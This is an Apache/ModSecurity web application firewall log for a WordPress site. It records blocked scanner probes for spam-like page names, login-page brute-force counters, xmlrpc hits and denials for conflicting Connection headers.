[Fri Apr 17 13:06:37.002761 2026] [:error] [pid 9263:tid 9275] [client 145.239.65.236:41514] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aeG_3RP68VyHNvj1e55_QgAAAMo"]
[Fri Apr 17 13:06:38.913752 2026] [:error] [pid 25010:tid 25016] [client 145.239.65.236:58510] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aeG_3o-7kkf42RarqQ09VAAAAUM"]
[Fri Apr 17 13:06:40.928607 2026] [:error] [pid 51878:tid 51896] [client 145.239.65.236:58522] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aeG_4EnQhUtMbw9EsgYLLwAAARA"]
[Fri Apr 17 13:06:42.835362 2026] [:error] [pid 61523:tid 61553] [client 145.239.65.236:58534] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aeG_4sOaH-Pgc7WEf4MteQAAAcs"]
[Fri Apr 17 13:06:44.706456 2026] [:error] [pid 9263:tid 9279] [client 145.239.65.236:58542] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aeG_5BP68VyHNvj1e55_RQAAAM4"]
[Fri Apr 17 13:06:46.734845 2026] [:error] [pid 61523:tid 61564] [client 145.239.65.236:58556] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aeG_5sOaH-Pgc7WEf4MtggAAAdY"]
[Fri Apr 17 15:36:39.298621 2026] [:error] [pid 9152:tid 9196] [client 157.20.82.7:35906] [client 157.20.82.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.20.82.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeHjB5JYca8I3TNCwIcOSAAAAEY"]
[Fri Apr 17 15:46:17.463939 2026] [:error] [pid 61523:tid 61562] [client 134.209.100.212:50438] [client 134.209.100.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.100.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeHlScOaH-Pgc7WEf4NfXgAAAdQ"]
[Fri Apr 17 15:46:20.544115 2026] [:error] [pid 61523:tid 61552] [client 134.209.100.212:50438] [client 134.209.100.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.100.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeHlTMOaH-Pgc7WEf4NfYAAAAco"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 17 15:53:57.638590 2026] [:error] [pid 9151:tid 9161] [client 31.7.207.99:33440] [client 31.7.207.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.7.207.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeHnFchTVuRPkua22vQceAAAAAA"]
[Fri Apr 17 15:54:00.313368 2026] [:error] [pid 9151:tid 9179] [client 31.7.207.99:33440] [client 31.7.207.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.7.207.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeHnGMhTVuRPkua22vQcegAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 17 16:25:29.509121 2026] [:error] [pid 9263:tid 9267] [client 135.236.141.8:23540] [client 135.236.141.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.236.141.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeHueRP68VyHNvj1e57bZQAAAMI"]
[Fri Apr 17 16:25:31.387996 2026] [:error] [pid 9263:tid 9288] [client 135.236.141.8:23540] [client 135.236.141.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.236.141.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeHuexP68VyHNvj1e57bbwAAANc"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 17 16:28:22.423980 2026] [:error] [pid 51878:tid 51886] [client 182.43.70.143:56755] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeHvJknQhUtMbw9EsgY12gAAAQY"]
[Fri Apr 17 16:49:57.482522 2026] [:error] [pid 9152:tid 9204] [client 77.68.103.59:59716] [client 77.68.103.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.68.103.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeH0NZJYca8I3TNCwIciBQAAAE4"]
[Fri Apr 17 16:50:00.589195 2026] [:error] [pid 9152:tid 9211] [client 77.68.103.59:59716] [client 77.68.103.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.68.103.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeH0OJJYca8I3TNCwIciCAAAAFU"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 17 16:56:24.082506 2026] [:error] [pid 34273:tid 34299] [client 42.96.40.62:36036] [client 42.96.40.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 42.96.40.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeH1uGuQDW686mK3dgHbLAAAAZg"]
[Fri Apr 17 16:56:27.462448 2026] [:error] [pid 34273:tid 34290] [client 42.96.40.62:36036] [client 42.96.40.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 42.96.40.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeH1u2uQDW686mK3dgHbMQAAAY8"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 17 17:02:57.926111 2026] [:error] [pid 9263:tid 9274] [client 43.134.35.91:48502] [client 43.134.35.91] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeH3QRP68VyHNvj1e57qqwAAAMk"]
[Fri Apr 17 17:19:42.556541 2026] [:error] [pid 9152:tid 9190] [client 155.133.138.66:37949] [client 155.133.138.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 155.133.138.66, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeH7LpJYca8I3TNCwIcquAAAAEA"]
[Fri Apr 17 17:19:48.446800 2026] [:error] [pid 9152:tid 9208] [client 155.133.138.66:37949] [client 155.133.138.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 155.133.138.66, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeH7NJJYca8I3TNCwIcqzwAAAFI"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 17 17:31:45.982036 2026] [:error] [pid 51878:tid 51896] [client 147.135.252.177:59212] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aeH-AUnQhUtMbw9EsgZDMQAAARA"]
[Fri Apr 17 17:31:49.446522 2026] [:error] [pid 34273:tid 34288] [client 147.135.252.177:36962] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aeH-BWuQDW686mK3dgHg7AAAAY0"]
[Fri Apr 17 17:31:52.734944 2026] [:error] [pid 51878:tid 51901] [client 147.135.252.177:36972] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aeH-CEnQhUtMbw9EsgZDOgAAARU"]
[Fri Apr 17 17:31:56.472121 2026] [:error] [pid 9152:tid 9199] [client 147.135.252.177:40146] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aeH-DJJYca8I3TNCwIctKAAAAEk"]
[Fri Apr 17 17:31:59.912022 2026] [:error] [pid 9152:tid 9214] [client 147.135.252.177:40154] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aeH-D5JYca8I3TNCwIctKwAAAFg"]
[Fri Apr 17 17:32:03.277402 2026] [:error] [pid 9263:tid 9265] [client 147.135.252.177:53392] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aeH-ExP68VyHNvj1e5740gAAAMA"]
[Fri Apr 17 17:32:06.261541 2026] [:error] [pid 51878:tid 51893] [client 147.135.252.177:53394] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aeH-FknQhUtMbw9EsgZDQAAAAQ0"]
[Fri Apr 17 17:32:10.500777 2026] [:error] [pid 9152:tid 9208] [client 147.135.252.177:53400] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aeH-GpJYca8I3TNCwIctNwAAAFI"]
[Fri Apr 17 17:32:14.564718 2026] [:error] [pid 9152:tid 9212] [client 147.135.252.177:44178] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aeH-HpJYca8I3TNCwIctRAAAAFY"]
[Fri Apr 17 17:32:19.719998 2026] [:error] [pid 34273:tid 34294] [client 147.135.252.177:44186] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aeH-I2uQDW686mK3dgHhBgAAAZM"]
[Fri Apr 17 17:32:23.773910 2026] [:error] [pid 61523:tid 61552] [client 147.135.252.177:47110] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aeH-J8OaH-Pgc7WEf4OCagAAAco"]
[Fri Apr 17 17:32:29.086315 2026] [:error] [pid 51878:tid 51883] [client 147.135.252.177:47122] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aeH-LUnQhUtMbw9EsgZDXAAAAQM"]
[Fri Apr 17 17:32:33.402197 2026] [:error] [pid 9263:tid 9289] [client 147.135.252.177:52212] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aeH-MRP68VyHNvj1e574_AAAANg"]
[Fri Apr 17 17:32:38.511379 2026] [:error] [pid 9263:tid 9266] [client 147.135.252.177:52228] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aeH-NhP68VyHNvj1e575EQAAAME"]
[Fri Apr 17 17:34:57.299937 2026] [:error] [pid 51878:tid 51896] [client 147.135.252.177:56368] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aeH-wUnQhUtMbw9EsgZD1QAAARA"]
[Fri Apr 17 17:34:59.389135 2026] [:error] [pid 9152:tid 9209] [client 147.135.252.177:39184] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aeH-w5JYca8I3TNCwIcuGgAAAFM"]
[Fri Apr 17 17:35:01.374009 2026] [:error] [pid 9152:tid 9211] [client 147.135.252.177:39186] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aeH-xZJYca8I3TNCwIcuHgAAAFU"]
[Fri Apr 17 17:35:03.546964 2026] [:error] [pid 9153:tid 9226] [client 147.135.252.177:35758] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "aeH-x-MHGxkTZX3c45fpSQAAAIg"]
[Fri Apr 17 17:35:05.598739 2026] [:error] [pid 25010:tid 25035] [client 147.135.252.177:35762] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aeH-yY-7kkf42RarqQ1beQAAAVY"]
[Fri Apr 17 17:35:07.644573 2026] [:error] [pid 61523:tid 61551] [client 147.135.252.177:35776] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aeH-y8OaH-Pgc7WEf4ODNgAAAck"]
[Fri Apr 17 17:35:09.818009 2026] [:error] [pid 61523:tid 61562] [client 147.135.252.177:35788] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aeH-zcOaH-Pgc7WEf4ODOwAAAdQ"]
[Fri Apr 17 17:35:11.878917 2026] [:error] [pid 61523:tid 61557] [client 147.135.252.177:35792] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aeH-z8OaH-Pgc7WEf4ODPwAAAc8"]
[Fri Apr 17 18:46:52.979008 2026] [:error] [pid 61523:tid 61564] [client 144.91.126.204:42396] [client 144.91.126.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.126.204, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeIPnMOaH-Pgc7WEf4OYnwAAAdY"]
[Fri Apr 17 18:46:54.817860 2026] [:error] [pid 61523:tid 61548] [client 144.91.126.204:42396] [client 144.91.126.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.126.204, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeIPnsOaH-Pgc7WEf4OYpAAAAcY"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 17 19:34:36.634667 2026] [:error] [pid 51878:tid 51894] [client 51.79.254.190:57970] [client 51.79.254.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.79.254.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeIazEnQhUtMbw9EsgZkkAAAAQ4"]
[Fri Apr 17 19:34:45.732428 2026] [:error] [pid 9152:tid 9205] [client 51.79.254.190:39212] [client 51.79.254.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.79.254.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeIa1ZJYca8I3TNCwIdH2wAAAE8"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 17 20:49:51.086461 2026] [:error] [pid 34273:tid 34294] [client 43.166.244.251:35004] [client 43.166.244.251] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeIsb2uQDW686mK3dgEEvwAAAZM"]
[Fri Apr 17 21:44:54.727294 2026] [:error] [pid 25010:tid 25028] [client 43.167.239.66:59434] [client 43.167.239.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeI5Vo-7kkf42RarqQ1_9AAAAU8"]
[Fri Apr 17 22:29:01.687092 2026] [:error] [pid 61523:tid 61541] [client 46.188.246.141:16996] [client 46.188.246.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.188.246.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeJDrcOaH-Pgc7WEf4PwcgAAAcA"]
[Fri Apr 17 22:51:40.367380 2026] [:error] [pid 9263:tid 9289] [client 46.225.86.177:53896] [client 46.225.86.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.225.86.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJI_BP68VyHNvj1e559MwAAANg"]
[Fri Apr 17 22:51:42.242914 2026] [:error] [pid 9263:tid 9277] [client 46.225.86.177:53896] [client 46.225.86.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.225.86.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJI_hP68VyHNvj1e559NgAAAMw"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 17 22:59:09.669351 2026] [:error] [pid 9263:tid 9268] [client 223.15.245.170:55464] [client 223.15.245.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeJKvRP68VyHNvj1e56BXAAAAMM"]
[Fri Apr 17 23:34:11.693768 2026] [:error] [pid 25010:tid 25029] [client 62.77.224.108:45384] [client 62.77.224.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.77.224.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJS84-7kkf42RarqQ2TCQAAAVA"]
